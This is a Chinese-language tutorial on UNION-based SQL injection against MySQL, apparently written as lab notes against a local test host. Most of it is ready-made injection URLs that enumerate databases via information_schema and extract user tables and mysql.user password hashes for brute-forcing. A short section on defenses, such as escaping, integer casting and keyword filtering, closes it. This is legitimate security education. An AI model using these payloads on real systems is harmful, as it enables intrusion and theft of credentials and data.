渗透测试-SQL注入-查询漏洞
一 查询注入的数据类型
注入点根据可控参数的数据类型,可分为三类,分别是:
数字型
select * from tables where id =1;
字符型
select * from tables where username = 'fjc666';
搜索型
select * from tables where username like '%fjc%' ;
注释方式
数据类型不同,在注入的payload中会有大小不同,主要考察对字符语法规则的理解和注释符的运用
#(%23),--空格(--+),/* */
二 注入步骤
- 通过and 1=1,and 1=2的输入,来判断是否存在注入点。如果结果不一致,说明我们输入的语句被数据库执行了。
- 通过观察或报错信息来判断输入点的数据类型,数字型,字符型,搜索型。
- 使用order by来确定主查询数目。order by本质是一个排序的语法,但order by有个条件,就是排序必须建立在正确的主查询条数上。所以注入中用order by不是为了排序,而是为了确认主查询的条数,确保union select的查询数与主查询一致。order by只会在超出主查询列数后才会报错,小于或等于主查询列数不报错。
http://192.168.88.130/security/read.php?id=6 order by 8
http://192.168.88.130/security/read.php?id=6 union select 1,2,3,4,5,6,7
- 使用union select查询,将主查询项改为成负数或不存在。
# union联合查询的前提:列数相等
select * from tables where id = -1 union select 1,2,3,4,5,6... from 表名;
http://192.168.88.130/security/read.php?id=6 union select 1,2,3,4,5,6,7 from article
- 在显示数字位置上替换对应的查询语句,database(),version(),user()
http://192.168.88.130/security/read.php?id=-1 union
select 1,2,user(),database(),5,6,7 from article
在回显的基础上可以执行mysql的函数
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,4,5,6,7
直接查询数据表内容(前提是知道表名和列名)
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,
(select username from users limit 25,1),5,6,7
使用concat拼接字符串
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,
(select concat(userid,'==',username,'==',password) from users limit 25,1),5,6,7
- 使用information_schema进行所有内容查询,得知库名后查询表:
select group_concat(table_name) from information_schema.tables where table_schema="库名";
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,
(select table_name from information_schema.tables where table_schema='learn' limit 1,1),5,6,7
- 根据库名和表名查出所有的列名
select group_concat(table_name) from information_schema.columns where table_schema="库名"
and table_name="表名“;
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,
(select group_concat(table_name) from information_schema.tables where table_schema='learn' ),5,6,7
- 知道表名和列名,直接查出表内容
select group_concat(列名) from "表名";
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,
(select group_concat(column_name) from information_schema.columns where table_schema='learn' and table_name='users' ),5,6,7
查内置的mysql数据库中的参数、数据,如user表
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,
(select concat(user,'==',password) from mysql.user limit 0,1),5,6,7
- 使用concat连接列值,可以一次性取出多列
select concat(username,"==",password,"==",role) as userinfo fromusers;
- 如果查询出多列,只能显示一列,则可以使用limit
select * from user limit 0,1 或 limit 8,1 等
或
select 1,2,table_name,4,5,6,7 from imformation_schema.tables where table_schema='learn' limit 1,1
三 进阶用法
- 使用concat_ws指定分隔符,比较concat更加方便
select * concat_ws('==',username,password,role) as userinfo from users;
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,
(select concat_ws('==',user, password,Host) from mysql.user limit 0,1),5,6,7
- 使用group_concat和concat_ws连用
select * from article where articleid = -1 union select 1,2
(select group_concat(table_name) from information_schema.tables where table_schema='learn)
(select group_concat(concat_ws('==',username,password,role)) from user),5,6
一次性取完
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,
(select group_concat(concat_ws('==',user, password,Host)) from mysql.user ),5,6,7
分批取
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,
(select group_concat(concat_ws('==',articleid, headline,viewcount)) from
article where articleid between 5 and 10),5,6,7
- 是用十六进制代替单引号
在MySQL数据库中将字符串转化为十六进制:select 1,2,3,(select hex('learn'),
将十六进制转回字符串:unhex('6C6561726E')
where table_schema=0x6c6561726E and table_name=0x75736572 limit 0,1
- 浏览所有数据库
http://192.168.88.130/security/read.php?id=-1 union select 1,2,3,
(select group_concat(distinct(table_schema)) from information_schema.tables) ,5,6,7
或
http://192.168.88.130/security/read.php?id=-1 union select 1,2,3,
(select group_concat(schema_name) from information_schema.schemata) ,5,6,7
回显为:
information_schema,learn,mysql,performance_schema,phpmyadmin
想远程访问phpmyadmin需修改 /opt/lampp/etc/extra/httpd-xampp.conf 文件
Require local 允许本地
Require all granted 允许所有
Require 指定IP 允许指定IP
- 获取mysql.user的用户名和密码进行爆破
http://192.168.88.130/security/read.php?id=-1 union select 1,2,@@LOG_ERROR,
(select concat(user, '==',password) from mysql.user limit 0,1),5,6,7
- 针对非数字类型的查询漏洞
http://192.168.88.130/security/read.php?id=6' union select 1,2,3,
(select group_concat(username) from users),5,6,7 %23
http://192.168.88.130/security/read.php?id=6' union select 1,2,3,
(select group_concat(username) from users),5,6,7 --+
上述代码主要面向MySQL数据库且是针对GET请求,当POST请求一样操作
四 查询注入不适用的地方
- 注入语句无法截断
- 页面不能返回查询信息
- Web页面有两个SQL语句,查询语句的列数不同
五 防护方法
- 添加addslashes
- 将id类数字型参数转换为整数
- 判断参数的长度,通常一个ID不会过长
- 对输入进行过滤,如information_schema,union,order by, 逗号等